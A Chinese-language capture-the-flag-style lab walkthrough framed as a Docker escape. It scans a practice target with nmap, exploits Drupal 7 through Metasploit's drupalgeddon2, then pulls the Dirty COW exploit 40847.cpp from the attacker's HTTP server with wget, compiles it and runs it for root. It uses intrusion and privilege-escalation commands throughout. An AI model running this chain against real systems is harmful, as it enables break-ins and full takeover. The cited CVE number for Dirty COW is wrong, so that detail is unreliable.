写在前边
目前的 Docker 逃逸的原因可以划分为三种:
1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195
2、软件程序引起的docker逃逸漏洞----CVE-2019-5736
3、docker配置不当引起的----privileged(特权模式)逃逸、docket remote api未授权访问导致逃逸等
原理:
Linux 内核的子系统在处理写入时复制(copy-on-write, COW)至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。
竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。
影响版本:
该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权。
靶机:192.168.200.49
KALI:192.168.200.14
靶场环境页面:
1、通过nmap扫描存活主机,确认靶机IP
nmap -sP 192.168.200.0/24 -T4
通过靶机的MAC地址能更准确的确认靶机的IP地址
2、扫描靶机的开放端口和服务
nmap -sV -p- 192.168.200.49
确认开放的端口为:22、80、1898
打开192.168.200.49
192.168.200.49:1898
从此WEB页面下探测信息
可以查到CMS为 Drupal 7
3、使用msf内置exp
选择(exploit/unix/webapp/drupal_drupalgeddon2)进行利用
输入指令等待即可
当前是低权限用户
exploit/run
shell #转换为有回显的shell
此时查看所有文件,但是无法访问root文件夹
ls -al #列出所有文件,包括隐藏文件
cd root
靶机的内核版本
1、使用searchsploit工具找到提权脚本
找到本地文件的具体位置,不损坏原文件将脚本文件复制到/home/kali目录下
searchsploit dirty
locate linux/local/40847.cpp #定位40847.cpp的位置
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #将40847.cpp复制到/tmp目录下
2、将文件上传到靶机上,并执行
1、在/home/kali目录下起http服务。
然后目标主机通过wget下载到本地,然后将.cpp文件编译得到一个可执行文件,直接执行就能得到root账号的密码
python -m http.server 8899
3、在目标主机下载40847.cpp文件,并进行编译成40847可执行文件
wget http://192.168.200.14:8899/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
ls -al #列出所有文件和目录,包括隐藏文件
Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
pedantic 允许发出ANSI/ISO C标准所列出的所有警告
O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
std=c++11就是用按C++2011标准来编译的
pthread 在Linux中要用到多线程时,需要链接pthread库
o 40847.gcc生成的目标文件,名字为40847
4、执行,得到root账户和密码
./40847 #得到root的密码为dirtyCowFun
第一、去靶机登录或者ssh远程登录(22端口开放)
用户名root,密码dirtyCowFun
第二、利用ssh远程登录
ssh [email protected]
dirtyCowFun
第三、在此处直接切root用户是不行的,需要开一个终端
python -c 'import pty; pty.spawn("/bin/bash")'
现在是一个shell会话,开启一个终端后,好比是一个sh连接的,交互式的shell。
例如,xshell连接的时候,会弹出一个框,让输入密码,命令里面添加用户的时候,下一步提示你要输入密码才能执行,一条命令输出后,要是没有交互式的话,对方会一直卡在输入命令那里。
所以这个漏洞要用到这个交互式,没有交互式将会用不了,一条命令输出去后,相当于被执行,但有些命令执行后,他有个交互式,要询问ok或者yes或no,所以要搞个交互式这个命令才能回显,正常成功打开交互,执行脚本文件
过程
- 探测目标和端口
- MSF搜索可利用CMS工具,构建连接